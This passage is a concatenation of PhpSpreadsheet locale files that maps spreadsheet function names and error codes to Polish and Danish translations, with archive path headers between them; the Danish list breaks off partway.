Funkcje daty i godziny (Date & Time Functions) ## DATE = DATA DATEDIF = DATA.RÓŻNICA DATESTRING = DATA.CIĄG.ZNAK DATEVALUE = DATA.WARTOŚĆ DAY = DZIEŃ DAYS = DNI DAYS360 = DNI.360 EDATE = NR.SER.DATY EOMONTH = NR.SER.OST.DN.MIES HOUR = GODZINA ISOWEEKNUM = ISO.NUM.TYG MINUTE = MINUTA MONTH = MIESIĄC NETWORKDAYS = DNI.ROBOCZE NETWORKDAYS.INTL = DNI.ROBOCZE.NIESTAND NOW = TERAZ SECOND = SEKUNDA THAIDAYOFWEEK = TAJ.DZIEŃ.TYGODNIA THAIMONTHOFYEAR = TAJ.MIESIĄC.ROKU THAIYEAR = TAJ.ROK TIME = CZAS TIMEVALUE = CZAS.WARTOŚĆ TODAY = DZIŚ WEEKDAY = DZIEŃ.TYG WEEKNUM = NUM.TYG WORKDAY = DZIEŃ.ROBOCZY WORKDAY.INTL = DZIEŃ.ROBOCZY.NIESTAND YEAR = ROK YEARFRAC = CZĘŚĆ.ROKU ## ## Funkcje inżynierskie (Engineering Functions) ## BESSELI = BESSEL.I BESSELJ = BESSEL.J BESSELK = BESSEL.K BESSELY = BESSEL.Y BIN2DEC = DWÓJK.NA.DZIES BIN2HEX = DWÓJK.NA.SZESN BIN2OCT = DWÓJK.NA.ÓSM BITAND = BITAND BITLSHIFT = BIT.PRZESUNIĘCIE.W.LEWO BITOR = BITOR BITRSHIFT = BIT.PRZESUNIĘCIE.W.PRAWO BITXOR = BITXOR COMPLEX = LICZBA.ZESP CONVERT = KONWERTUJ DEC2BIN = DZIES.NA.DWÓJK DEC2HEX = DZIES.NA.SZESN DEC2OCT = DZIES.NA.ÓSM DELTA = CZY.RÓWNE ERF = FUNKCJA.BŁ ERF.PRECISE = FUNKCJA.BŁ.DOKŁ ERFC = KOMP.FUNKCJA.BŁ ERFC.PRECISE = KOMP.FUNKCJA.BŁ.DOKŁ GESTEP = SPRAWDŹ.PRÓG HEX2BIN = SZESN.NA.DWÓJK HEX2DEC = SZESN.NA.DZIES HEX2OCT = SZESN.NA.ÓSM IMABS = MODUŁ.LICZBY.ZESP IMAGINARY = CZ.UROJ.LICZBY.ZESP IMARGUMENT = ARG.LICZBY.ZESP IMCONJUGATE = SPRZĘŻ.LICZBY.ZESP IMCOS = COS.LICZBY.ZESP IMCOSH = COSH.LICZBY.ZESP IMCOT = COT.LICZBY.ZESP IMCSC = CSC.LICZBY.ZESP IMCSCH = CSCH.LICZBY.ZESP IMDIV = ILORAZ.LICZB.ZESP IMEXP = EXP.LICZBY.ZESP IMLN = LN.LICZBY.ZESP IMLOG10 = LOG10.LICZBY.ZESP IMLOG2 = LOG2.LICZBY.ZESP IMPOWER = POTĘGA.LICZBY.ZESP IMPRODUCT = ILOCZYN.LICZB.ZESP IMREAL = CZ.RZECZ.LICZBY.ZESP IMSEC = SEC.LICZBY.ZESP IMSECH = SECH.LICZBY.ZESP IMSIN = SIN.LICZBY.ZESP IMSINH = SINH.LICZBY.ZESP IMSQRT = PIERWIASTEK.LICZBY.ZESP IMSUB = RÓŻN.LICZB.ZESP IMSUM = SUMA.LICZB.ZESP IMTAN = TAN.LICZBY.ZESP OCT2BIN = ÓSM.NA.DWÓJK OCT2DEC = ÓSM.NA.DZIES OCT2HEX = ÓSM.NA.SZESN ## ## Funkcje finansowe (Financial Functions) ## ACCRINT = NAL.ODS ACCRINTM = NAL.ODS.WYKUP AMORDEGRC = AMORT.NIELIN AMORLINC = AMORT.LIN COUPDAYBS = WYPŁ.DNI.OD.POCZ COUPDAYS = WYPŁ.DNI COUPDAYSNC = WYPŁ.DNI.NAST COUPNCD = WYPŁ.DATA.NAST COUPNUM = WYPŁ.LICZBA COUPPCD = WYPŁ.DATA.POPRZ CUMIPMT = SPŁAC.ODS CUMPRINC = SPŁAC.KAPIT DB = DB DDB = DDB DISC = STOPA.DYSK DOLLARDE = CENA.DZIES DOLLARFR = CENA.UŁAM DURATION = ROCZ.PRZYCH EFFECT = EFEKTYWNA FV = FV FVSCHEDULE = WART.PRZYSZŁ.KAP INTRATE = STOPA.PROC IPMT = IPMT IRR = IRR ISPMT = ISPMT MDURATION = ROCZ.PRZYCH.M MIRR = MIRR NOMINAL = NOMINALNA NPER = NPER NPV = NPV ODDFPRICE = CENA.PIERW.OKR ODDFYIELD = RENT.PIERW.OKR ODDLPRICE = CENA.OST.OKR ODDLYIELD = RENT.OST.OKR PDURATION = O.CZAS.TRWANIA PMT = PMT PPMT = PPMT PRICE = CENA PRICEDISC = CENA.DYSK PRICEMAT = CENA.WYKUP PV = PV RATE = RATE RECEIVED = KWOTA.WYKUP RRI = RÓWNOW.STOPA.PROC SLN = SLN SYD = SYD TBILLEQ = RENT.EKW.BS TBILLPRICE = CENA.BS TBILLYIELD = RENT.BS VDB = VDB XIRR = XIRR XNPV = XNPV YIELD = RENTOWNOŚĆ YIELDDISC = RENT.DYSK YIELDMAT = RENT.WYKUP ## ## Funkcje informacyjne (Information Functions) ## CELL = KOMÓRKA ERROR.TYPE = NR.BŁĘDU INFO = INFO ISBLANK = CZY.PUSTA ISERR = CZY.BŁ ISERROR = CZY.BŁĄD ISEVEN = CZY.PARZYSTE ISFORMULA = CZY.FORMUŁA ISLOGICAL = CZY.LOGICZNA ISNA = CZY.BRAK ISNONTEXT = CZY.NIE.TEKST ISNUMBER = CZY.LICZBA ISODD = CZY.NIEPARZYSTE ISREF = CZY.ADR ISTEXT = CZY.TEKST N = N NA = BRAK SHEET = ARKUSZ SHEETS = ARKUSZE TYPE = TYP ## ## Funkcje logiczne (Logical Functions) ## AND = ORAZ FALSE = FAŁSZ IF = JEŻELI IFERROR = JEŻELI.BŁĄD IFNA = JEŻELI.ND IFS = WARUNKI NOT = NIE OR = LUB SWITCH = PRZEŁĄCZ TRUE = PRAWDA XOR = XOR ## ## Funkcje wyszukiwania i odwołań (Lookup & Reference Functions) ## ADDRESS = ADRES AREAS = OBSZARY CHOOSE = WYBIERZ COLUMN = NR.KOLUMNY COLUMNS = LICZBA.KOLUMN FORMULATEXT = FORMUŁA.TEKST GETPIVOTDATA = WEŹDANETABELI HLOOKUP = WYSZUKAJ.POZIOMO HYPERLINK = HIPERŁĄCZE INDEX = INDEKS INDIRECT = ADR.POŚR LOOKUP = WYSZUKAJ MATCH = PODAJ.POZYCJĘ OFFSET = PRZESUNIĘCIE ROW = WIERSZ ROWS = ILE.WIERSZY RTD = DANE.CZASU.RZECZ TRANSPOSE = TRANSPONUJ VLOOKUP = WYSZUKAJ.PIONOWO ## ## Funkcje matematyczne i trygonometryczne (Math & Trig Functions) ## ABS = MODUŁ.LICZBY ACOS = ACOS ACOSH = ACOSH ACOT = ACOT ACOTH = ACOTH AGGREGATE = AGREGUJ ARABIC = ARABSKIE ASIN = ASIN ASINH = ASINH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH BASE = PODSTAWA CEILING.MATH = ZAOKR.W.GÓRĘ.MATEMATYCZNE CEILING.PRECISE = ZAOKR.W.GÓRĘ.DOKŁ COMBIN = KOMBINACJE COMBINA = KOMBINACJE.A COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DZIESIĘTNA DEGREES = STOPNIE ECMA.CEILING = ECMA.ZAOKR.W.GÓRĘ EVEN = ZAOKR.DO.PARZ EXP = EXP FACT = SILNIA FACTDOUBLE = SILNIA.DWUKR FLOOR.MATH = ZAOKR.W.DÓŁ.MATEMATYCZNE FLOOR.PRECISE = ZAOKR.W.DÓŁ.DOKŁ GCD = NAJW.WSP.DZIEL INT = ZAOKR.DO.CAŁK ISO.CEILING = ISO.ZAOKR.W.GÓRĘ LCM = NAJMN.WSP.WIEL LN = LN LOG = LOG LOG10 = LOG10 MDETERM = WYZNACZNIK.MACIERZY MINVERSE = MACIERZ.ODW MMULT = MACIERZ.ILOCZYN MOD = MOD MROUND = ZAOKR.DO.WIELOKR MULTINOMIAL = WIELOMIAN MUNIT = MACIERZ.JEDNOSTKOWA ODD = ZAOKR.DO.NPARZ PI = PI POWER = POTĘGA PRODUCT = ILOCZYN QUOTIENT = CZ.CAŁK.DZIELENIA RADIANS = RADIANY RAND = LOS RANDBETWEEN = LOS.ZAKR ROMAN = RZYMSKIE ROUND = ZAOKR ROUNDBAHTDOWN = ZAOKR.DÓŁ.BAT ROUNDBAHTUP = ZAOKR.GÓRA.BAT ROUNDDOWN = ZAOKR.DÓŁ ROUNDUP = ZAOKR.GÓRA SEC = SEC SECH = SECH SERIESSUM = SUMA.SZER.POT SIGN = ZNAK.LICZBY SIN = SIN SINH = SINH SQRT = PIERWIASTEK SQRTPI = PIERW.PI SUBTOTAL = SUMY.CZĘŚCIOWE SUM = SUMA SUMIF = SUMA.JEŻELI SUMIFS = SUMA.WARUNKÓW SUMPRODUCT = SUMA.ILOCZYNÓW SUMSQ = SUMA.KWADRATÓW SUMX2MY2 = SUMA.X2.M.Y2 SUMX2PY2 = SUMA.X2.P.Y2 SUMXMY2 = SUMA.XMY.2 TAN = TAN TANH = TANH TRUNC = LICZBA.CAŁK ## ## Funkcje statystyczne (Statistical Functions) ## AVEDEV = ODCH.ŚREDNIE AVERAGE = ŚREDNIA AVERAGEA = ŚREDNIA.A AVERAGEIF = ŚREDNIA.JEŻELI AVERAGEIFS = ŚREDNIA.WARUNKÓW BETA.DIST = ROZKŁ.BETA BETA.INV = ROZKŁ.BETA.ODWR BINOM.DIST = ROZKŁ.DWUM BINOM.DIST.RANGE = ROZKŁ.DWUM.ZAKRES BINOM.INV = ROZKŁ.DWUM.ODWR CHISQ.DIST = ROZKŁ.CHI CHISQ.DIST.RT = ROZKŁ.CHI.PS CHISQ.INV = ROZKŁ.CHI.ODWR CHISQ.INV.RT = ROZKŁ.CHI.ODWR.PS CHISQ.TEST = CHI.TEST CONFIDENCE.NORM = UFNOŚĆ.NORM CONFIDENCE.T = UFNOŚĆ.T CORREL = WSP.KORELACJI COUNT = ILE.LICZB COUNTA = ILE.NIEPUSTYCH COUNTBLANK = LICZ.PUSTE COUNTIF = LICZ.JEŻELI COUNTIFS = LICZ.WARUNKI COVARIANCE.P = KOWARIANCJA.POPUL COVARIANCE.S = KOWARIANCJA.PRÓBKI DEVSQ = ODCH.KWADRATOWE EXPON.DIST = ROZKŁ.EXP F.DIST = ROZKŁ.F F.DIST.RT = ROZKŁ.F.PS F.INV = ROZKŁ.F.ODWR F.INV.RT = ROZKŁ.F.ODWR.PS F.TEST = F.TEST FISHER = ROZKŁAD.FISHER FISHERINV = ROZKŁAD.FISHER.ODW FORECAST.ETS = REGLINX.ETS FORECAST.ETS.CONFINT = REGLINX.ETS.CONFINT FORECAST.ETS.SEASONALITY = REGLINX.ETS.SEZONOWOŚĆ FORECAST.ETS.STAT = REGLINX.ETS.STATYSTYKA FORECAST.LINEAR = REGLINX.LINIOWA FREQUENCY = CZĘSTOŚĆ GAMMA = GAMMA GAMMA.DIST = ROZKŁ.GAMMA GAMMA.INV = ROZKŁ.GAMMA.ODWR GAMMALN = ROZKŁAD.LIN.GAMMA GAMMALN.PRECISE = ROZKŁAD.LIN.GAMMA.DOKŁ GAUSS = GAUSS GEOMEAN = ŚREDNIA.GEOMETRYCZNA GROWTH = REGEXPW HARMEAN = ŚREDNIA.HARMONICZNA HYPGEOM.DIST = ROZKŁ.HIPERGEOM INTERCEPT = ODCIĘTA KURT = KURTOZA LARGE = MAX.K LINEST = REGLINP LOGEST = REGEXPP LOGNORM.DIST = ROZKŁ.LOG LOGNORM.INV = ROZKŁ.LOG.ODWR MAX = MAX MAXA = MAX.A MAXIFS = MAKS.WARUNKÓW MEDIAN = MEDIANA MIN = MIN MINA = MIN.A MINIFS = MIN.WARUNKÓW MODE.MULT = WYST.NAJCZĘŚCIEJ.TABL MODE.SNGL = WYST.NAJCZĘŚCIEJ.WART NEGBINOM.DIST = ROZKŁ.DWUM.PRZEC NORM.DIST = ROZKŁ.NORMALNY NORM.INV = ROZKŁ.NORMALNY.ODWR NORM.S.DIST = ROZKŁ.NORMALNY.S NORM.S.INV = ROZKŁ.NORMALNY.S.ODWR PEARSON = PEARSON PERCENTILE.EXC = PERCENTYL.PRZEDZ.OTW PERCENTILE.INC = PERCENTYL.PRZEDZ.ZAMK PERCENTRANK.EXC = PROC.POZ.PRZEDZ.OTW PERCENTRANK.INC = PROC.POZ.PRZEDZ.ZAMK PERMUT = PERMUTACJE PERMUTATIONA = PERMUTACJE.A PHI = PHI POISSON.DIST = ROZKŁ.POISSON PROB = PRAWDPD QUARTILE.EXC = KWARTYL.PRZEDZ.OTW QUARTILE.INC = KWARTYL.PRZEDZ.ZAMK RANK.AVG = POZYCJA.ŚR RANK.EQ = POZYCJA.NAJW RSQ = R.KWADRAT SKEW = SKOŚNOŚĆ SKEW.P = SKOŚNOŚĆ.P SLOPE = NACHYLENIE SMALL = MIN.K STANDARDIZE = NORMALIZUJ STDEV.P = ODCH.STAND.POPUL STDEV.S = ODCH.STANDARD.PRÓBKI STDEVA = ODCH.STANDARDOWE.A STDEVPA = ODCH.STANDARD.POPUL.A STEYX = REGBŁSTD T.DIST = ROZKŁ.T T.DIST.2T = ROZKŁ.T.DS T.DIST.RT = ROZKŁ.T.PS T.INV = ROZKŁ.T.ODWR T.INV.2T = ROZKŁ.T.ODWR.DS T.TEST = T.TEST TREND = REGLINW TRIMMEAN = ŚREDNIA.WEWN VAR.P = WARIANCJA.POP VAR.S = WARIANCJA.PRÓBKI VARA = WARIANCJA.A VARPA = WARIANCJA.POPUL.A WEIBULL.DIST = ROZKŁ.WEIBULL Z.TEST = Z.TEST ## ## Funkcje tekstowe (Text Functions) ## BAHTTEXT = BAT.TEKST CHAR = ZNAK CLEAN = OCZYŚĆ CODE = KOD CONCAT = ZŁĄCZ.TEKST DOLLAR = KWOTA EXACT = PORÓWNAJ FIND = ZNAJDŹ FIXED = ZAOKR.DO.TEKST ISTHAIDIGIT = CZY.CYFRA.TAJ LEFT = LEWY LEN = DŁ LOWER = LITERY.MAŁE MID = FRAGMENT.TEKSTU NUMBERSTRING = LICZBA.CIĄG.ZNAK NUMBERVALUE = WARTOŚĆ.LICZBOWA PROPER = Z.WIELKIEJ.LITERY REPLACE = ZASTĄP REPT = POWT RIGHT = PRAWY SEARCH = SZUKAJ.TEKST SUBSTITUTE = PODSTAW T = T TEXT = TEKST TEXTJOIN = POŁĄCZ.TEKSTY THAIDIGIT = TAJ.CYFRA THAINUMSOUND = TAJ.DŹWIĘK.NUM THAINUMSTRING = TAJ.CIĄG.NUM THAISTRINGLENGTH = TAJ.DŁUGOŚĆ.CIĄGU TRIM = USUŃ.ZBĘDNE.ODSTĘPY UNICHAR = ZNAK.UNICODE UNICODE = UNICODE UPPER = LITERY.WIELKIE VALUE = WARTOŚĆ ## ## Funkcje sieci Web (Web Functions) ## ENCODEURL = ENCODEURL FILTERXML = FILTERXML WEBSERVICE = WEBSERVICE ## ## Funkcje zgodności (Compatibility Functions) ## BETADIST = ROZKŁAD.BETA BETAINV = ROZKŁAD.BETA.ODW BINOMDIST = ROZKŁAD.DWUM CEILING = ZAOKR.W.GÓRĘ CHIDIST = ROZKŁAD.CHI CHIINV = ROZKŁAD.CHI.ODW CHITEST = TEST.CHI CONCATENATE = ZŁĄCZ.TEKSTY CONFIDENCE = UFNOŚĆ COVAR = KOWARIANCJA CRITBINOM = PRÓG.ROZKŁAD.DWUM EXPONDIST = ROZKŁAD.EXP FDIST = ROZKŁAD.F FINV = ROZKŁAD.F.ODW FLOOR = ZAOKR.W.DÓŁ FORECAST = REGLINX FTEST = TEST.F GAMMADIST = ROZKŁAD.GAMMA GAMMAINV = ROZKŁAD.GAMMA.ODW HYPGEOMDIST = ROZKŁAD.HIPERGEOM LOGINV = ROZKŁAD.LOG.ODW LOGNORMDIST = ROZKŁAD.LOG MODE = WYST.NAJCZĘŚCIEJ NEGBINOMDIST = ROZKŁAD.DWUM.PRZEC NORMDIST = ROZKŁAD.NORMALNY NORMINV = ROZKŁAD.NORMALNY.ODW NORMSDIST = ROZKŁAD.NORMALNY.S NORMSINV = ROZKŁAD.NORMALNY.S.ODW PERCENTILE = PERCENTYL PERCENTRANK = PROCENT.POZYCJA POISSON = ROZKŁAD.POISSON QUARTILE = KWARTYL RANK = POZYCJA STDEV = ODCH.STANDARDOWE STDEVP = ODCH.STANDARD.POPUL TDIST = ROZKŁAD.T TINV = ROZKŁAD.T.ODW TTEST = TEST.T VAR = WARIANCJA VARP = WARIANCJA.POPUL WEIBULL = ROZKŁAD.WEIBULL ZTEST = TEST.Z phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/pl/config000064400000000517151676714400022552 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Jezyk polski (Polish) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL = #ZERO! DIV0 = #DZIEL/0! VALUE = #ARG! REF = #ADR! NAME = #NAZWA? NUM = #LICZBA! NA = #N/D! phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/da/functions000064400000024441151676714400023270 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Dansk (Danish) ## ############################################################ ## ## Kubefunktioner (Cube Functions) ## CUBEKPIMEMBER = KUBE.KPI.MEDLEM CUBEMEMBER = KUBEMEDLEM CUBEMEMBERPROPERTY = KUBEMEDLEM.EGENSKAB CUBERANKEDMEMBER = KUBERANGERET.MEDLEM CUBESET = KUBESÆT CUBESETCOUNT = KUBESÆT.ANTAL CUBEVALUE = KUBEVÆRDI ## ## Databasefunktioner (Database Functions) ## DAVERAGE = DMIDDEL DCOUNT = DTÆL DCOUNTA = DTÆLV DGET = DHENT DMAX = DMAKS DMIN = DMIN DPRODUCT = DPRODUKT DSTDEV = DSTDAFV DSTDEVP = DSTDAFVP DSUM = DSUM DVAR = DVARIANS DVARP = DVARIANSP ## ## Dato- og klokkeslætfunktioner (Date & Time Functions) ## DATE = DATO DATEDIF = DATO.FORSKEL DATESTRING = DATOSTRENG DATEVALUE = DATOVÆRDI DAY = DAG DAYS = DAGE DAYS360 = DAGE360 EDATE = EDATO EOMONTH = SLUT.PÅ.MÅNED HOUR = TIME ISOWEEKNUM = ISOUGE.NR MINUTE = MINUT MONTH = MÅNED NETWORKDAYS = ANTAL.ARBEJDSDAGE NETWORKDAYS.INTL = ANTAL.ARBEJDSDAGE.INTL NOW = NU SECOND = SEKUND THAIDAYOFWEEK = THAILANDSKUGEDAG THAIMONTHOFYEAR = THAILANDSKMÅNED THAIYEAR = THAILANDSKÅR TIME = TID TIMEVALUE = TIDSVÆRDI TODAY = IDAG WEEKDAY = UGEDAG WEEKNUM = UGE.NR WORKDAY = ARBEJDSDAG WORKDAY.INTL = ARBEJDSDAG.INTL YEAR = ÅR YEARFRAC = ÅR.BRØK ## ## Tekniske funktioner (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BIN.TIL.DEC BIN2HEX = BIN.TIL.HEX BIN2OCT = BIN.TIL.OKT BITAND = BITOG BITLSHIFT = BITLSKIFT BITOR = BITELLER BITRSHIFT = BITRSKIFT BITXOR = BITXELLER COMPLEX = KOMPLEKS CONVERT = KONVERTER DEC2BIN = DEC.TIL.BIN DEC2HEX = DEC.TIL.HEX DEC2OCT = DEC.TIL.OKT DELTA = DELTA ERF = FEJLFUNK ERF.PRECISE = ERF.PRECISE ERFC = FEJLFUNK.KOMP ERFC.PRECISE = ERFC.PRECISE GESTEP = GETRIN HEX2BIN = HEX.TIL.BIN HEX2DEC = HEX.TIL.DEC HEX2OCT = HEX.TIL.OKT IMABS = IMAGABS IMAGINARY = IMAGINÆR IMARGUMENT = IMAGARGUMENT IMCONJUGATE = IMAGKONJUGERE IMCOS = IMAGCOS IMCOSH = IMAGCOSH IMCOT = IMAGCOT IMCSC = IMAGCSC IMCSCH = IMAGCSCH IMDIV = IMAGDIV IMEXP = IMAGEKSP IMLN = IMAGLN IMLOG10 = IMAGLOG10 IMLOG2 = IMAGLOG2 IMPOWER = IMAGPOTENS IMPRODUCT = IMAGPRODUKT IMREAL = IMAGREELT IMSEC = IMAGSEC IMSECH = IMAGSECH IMSIN = IMAGSIN IMSINH = IMAGSINH IMSQRT = IMAGKVROD IMSUB = IMAGSUB IMSUM = IMAGSUM IMTAN = IMAGTAN OCT2BIN = OKT.TIL.BIN OCT2DEC = OKT.TIL.DEC OCT2HEX = OKT.TIL.HEX ## ## Finansielle funktioner (Financial Functions) ## ACCRINT = PÅLØBRENTE ACCRINTM = PÅLØBRENTE.UDLØB AMORDEGRC = AMORDEGRC AMORLINC = AMORLINC COUPDAYBS = KUPONDAGE.SA COUPDAYS = KUPONDAGE.A COUPDAYSNC = KUPONDAGE.ANK COUPNCD = KUPONDAG.NÆSTE COUPNUM = KUPONBETALINGER COUPPCD = KUPONDAG.FORRIGE CUMIPMT = AKKUM.RENTE CUMPRINC = AKKUM.HOVEDSTOL DB = DB DDB = DSA DISC = DISKONTO DOLLARDE = KR.DECIMAL DOLLARFR = KR.BRØK DURATION = VARIGHED EFFECT = EFFEKTIV.RENTE FV = FV FVSCHEDULE = FVTABEL INTRATE = RENTEFOD IPMT = R.YDELSE IRR = IA ISPMT = ISPMT MDURATION = MVARIGHED MIRR = MIA NOMINAL = NOMINEL NPER = NPER NPV = NUTIDSVÆRDI ODDFPRICE = ULIGE.KURS.PÅLYDENDE ODDFYIELD = ULIGE.FØRSTE.AFKAST ODDLPRICE = ULIGE.SIDSTE.KURS ODDLYIELD = ULIGE.SIDSTE.AFKAST PDURATION = PVARIGHED PMT = YDELSE PPMT = H.YDELSE PRICE = KURS PRICEDISC = KURS.DISKONTO PRICEMAT = KURS.UDLØB PV = NV RATE = RENTE RECEIVED = MODTAGET.VED.UDLØB RRI = RRI SLN = LA SYD = ÅRSAFSKRIVNING TBILLEQ = STATSOBLIGATION TBILLPRICE = STATSOBLIGATION.KURS TBILLYIELD = STATSOBLIGATION.AFKAST VDB = VSA XIRR = INTERN.RENTE XNPV = NETTO.NUTIDSVÆRDI YIELD = AFKAST YIELDDISC = AFKAST.DISKONTO YIELDMAT = AFKAST.UDLØBSDATO ## ## Informationsfunktioner (Information Functions) ## CELL = CELLE ERROR.TYPE = FEJLTYPE INFO = INFO ISBLANK = ER.TOM ISERR = ER.FJL ISERROR = ER.FEJL ISEVEN = ER.LIGE ISFORMULA = ER.FORMEL ISLOGICAL = ER.LOGISK ISNA = ER.IKKE.TILGÆNGELIG ISNONTEXT = ER.IKKE.TEKST ISNUMBER = ER.TAL ISODD = ER.ULIGE ISREF = ER.REFERENCE ISTEXT = ER.TEKST N = TAL NA = IKKE.TILGÆNGELIG SHEET = ARK SHEETS = ARK.FLERE TYPE = VÆRDITYPE ## ## Logiske funktioner (Logical Functions) ## AND = OG FALSE = FALSK IF = HVIS IFERROR = HVIS.FEJL IFNA = HVISIT IFS = HVISER NOT = IKKE OR = ELLER SWITCH = SKIFT TRUE = SAND XOR = XELLER ## ## Opslags- og referencefunktioner (Lookup & Reference Functions) ## ADDRESS = ADRESSE AREAS = OMRÅDER CHOOSE = VÆLG COLUMN = KOLONNE COLUMNS = KOLONNER FORMULATEXT = FORMELTEKST GETPIVOTDATA = GETPIVOTDATA HLOOKUP = VOPSLAG HYPERLINK = HYPERLINK INDEX = INDEKS INDIRECT = INDIREKTE LOOKUP = SLÅ.OP MATCH = SAMMENLIGN OFFSET = FORSKYDNING ROW = RÆKKE ROWS = RÆKKER RTD = RTD TRANSPOSE = TRANSPONER VLOOKUP = LOPSLAG *RC = RK ## ## Matematiske og trigonometriske funktioner (Math & Trig Functions) ## ABS = ABS ACOS = ARCCOS ACOSH = ARCCOSH ACOT = ARCCOT ACOTH = ARCCOTH AGGREGATE = SAMLING ARABIC = ARABISK ASIN = ARCSIN ASINH = ARCSINH ATAN = ARCTAN ATAN2 = ARCTAN2 ATANH = ARCTANH BASE = BASIS CEILING.MATH = LOFT.MAT CEILING.PRECISE = LOFT.PRECISE COMBIN = KOMBIN COMBINA = KOMBINA COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DECIMAL DEGREES = GRADER ECMA.CEILING = ECMA.LOFT EVEN = LIGE EXP = EKSP FACT = FAKULTET FACTDOUBLE = DOBBELT.FAKULTET FLOOR.MATH = AFRUND.BUND.MAT FLOOR.PRECISE = AFRUND.GULV.PRECISE GCD = STØRSTE.FÆLLES.DIVISOR INT = HELTAL ISO.CEILING = ISO.LOFT LCM = MINDSTE.FÆLLES.MULTIPLUM LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MDETERM MINVERSE = MINVERT MMULT = MPRODUKT MOD = REST MROUND = MAFRUND MULTINOMIAL = MULTINOMIAL MUNIT = MENHED ODD = ULIGE PI = PI POWER = POTENS PRODUCT = PRODUKT QUOTIENT = KVOTIENT RADIANS = RADIANER RAND = SLUMP RANDBETWEEN = SLUMPMELLEM ROMAN = ROMERTAL ROUND = AFRUND ROUNDBAHTDOWN = RUNDBAHTNED ROUNDBAHTUP = RUNDBAHTOP ROUNDDOWN = RUND.NED ROUNDUP = RUND.OP SEC = SEC SECH = SECH SERIESSUM = SERIESUM SIGN = FORTEGN SIN = SIN SINH = SINH SQRT = KVROD SQRTPI = KVRODPI SUBTOTAL = SUBTOTAL SUM = SUM SUMIF = SUM.HVIS SUMIFS = SUM.HVISER SUMPRODUCT = SUMPRODUKT SUMSQ = SUMKV SUMX2MY2 = SUMX2MY2 SUMX2PY2 = SUMX2PY2 SUMXMY2 = SUMXMY2 TAN = TAN TANH = TANH TRUNC = AFKORT ## ## Statistiske funktioner (Statistical Functions) ## AVEDEV = MAD AVERAGE = MIDDEL AVERAGEA = MIDDELV AVERAGEIF = MIDDEL.HVIS AVERAGEIFS = MIDDEL.HVISER BETA.DIST = BETA.FORDELING BETA.INV = BETA.INV BINOM.DIST = BINOMIAL.FORDELING BINOM.DIST.RANGE = BINOMIAL.DIST.INTERVAL BINOM.INV = BINOMIAL.INV CHISQ.DIST = CHI2.FORDELING CHISQ.DIST.RT = CHI2.FORD.RT CHISQ.INV = CHI2.INV CHISQ.INV.RT = CHI2.INV.RT CHISQ.TEST = CHI2.TEST CONFIDENCE.NORM = KONFIDENS.NORM CONFIDENCE.T = KONFIDENST CORREL = KORRELATION COUNT = TÆL COUNTA = TÆLV COUNTBLANK = ANTAL.BLANKE COUNTIF = TÆL.HVIS COUNTIFS = TÆL.HVISER COVARIANCE.P = KOVARIANS.P COVARIANCE.S = KOVARIANS.S DEVSQ = SAK EXPON.DIST = EKSP.FORDELING F.DIST = F.FORDELING F.DIST.RT = F.FORDELING.RT F.INV = F.INV F.INV.RT = F.INV.RT F.TEST = F.TEST FISHER = FISHER FISHERINV = FISHERINV FORECAST.ETS = PROGNOSE.ETS FORECAST.ETS.CONFINT = PROGNOSE.ETS.CONFINT FORECAST.ETS.SEASONALITY = PROGNOSE.ETS.SÆSONUDSVING FORECAST.ETS.STAT = PROGNOSE.ETS.STAT FORECAST.LINEAR = PROGNOSE.LINEÆR FREQUENCY = FREKVENS GAMMA = GAMMA GAMMA.DIST = GAMMA.FORDELING GAMMA.INV = GAMMA.INV GAMMALN = GAMMALN GAMMALN.PRECISE = GAMMALN.PRECISE GAUSS = GAUSS GEOMEAN = GEOMIDDELVÆRDI GROWTH = FORØGELSE HARMEAN = HARMIDDELVÆRDI HYPGEOM.DIST = HYPGEO.FORDELING INTERCEPT = SKÆRING KURT = TOPSTEJL LARGE = STØRSTE LINEST = LINREGR LOGEST = LOGREGR LOGNORM.DIST = LOGNORM.FORDELING LOGNORM.INV = LOGNORM.INV MAX = MAKS MAXA = MAKSV MAXIFS = MAKSHVISER MEDIAN = MEDIAN MIN = MIN MINA = MINV MINIFS = MINHVISER MODE.MULT = HYPPIGST.FLERE MODE.SNGL = HYPPIGST.ENKELT NEGBINOM.DIST = NEGBINOM.FORDELING NORM.DIST = NORMAL.FORDELING NORM.INV = NORM.INV NORM.S.DIST = STANDARD.NORM.FORDELING NORM.S.INV = STANDARD.NORM.INV PEARSON = PEARSON PERCENTILE.EXC = FRAKTIL.UDELAD PERCENTILE.INC = FRAKTIL.MEDTAG PERCENTRANK.EXC = PROCENTPLADS.UDELAD PERCENTRANK.INC = PROCENTPLADS.MEDTAG PERMUT = PERMUT PERMUTATIONA = PERMUTATIONA PHI = PHI POISSON.DIST = POISSON.FORDELING PROB = SANDSYNLIGHED QUARTILE.EXC = KVARTIL.UDELAD QUARTILE.INC = KVARTIL.MEDTAG RANK.AVG = PLADS.GNSN RANK.EQ = PLADS.LIGE RSQ = FORKLARINGSGRAD SKEW = SKÆVHED SKEW.P = SKÆVHED.P SLOPE = STIGNING SMALL = MINDSTE STANDARDIZE = STANDARDISER STDEV.P = STDAFV.P STDEV.S = STDAFV.S STDEVA = STDAFVV STDEVPA = STDAFVPV STEYX = STFYX T.DIST = T.FORDELING T.DIST.2T = T.FORDELING.2T T.DIST.RT = T.FORDELING.RT T.INV = T.INV T.INV.2T = T.INV.2T T.TEST = T.TEST TREND = TENDENS TRIMMEAN = TRIMMIDDELVÆRDI VAR.P = VARIANS.P VAR.S = VARIANS.S VARA = VARIANSV VARPA = VARIANSPV WEIBULL.DIST = WEIBULL.FORDELING Z.TEST = Z.TEST ## ## Tekstfunktioner (Text Functions) ## BAHTTEXT = BAHTTEKST CHAR = TEGN CLEAN = RENS CODE = KODE CONCAT = CONCAT DOLLAR = KR EXACT = EKSAKT FIND = FIND FIXED = FAST ISTHAIDIGIT = ERTHAILANDSKCIFFER LEFT = VENSTRE LEN = LÆNGDE LOWER = SMÅ.BOGSTAVER MID = MIDT 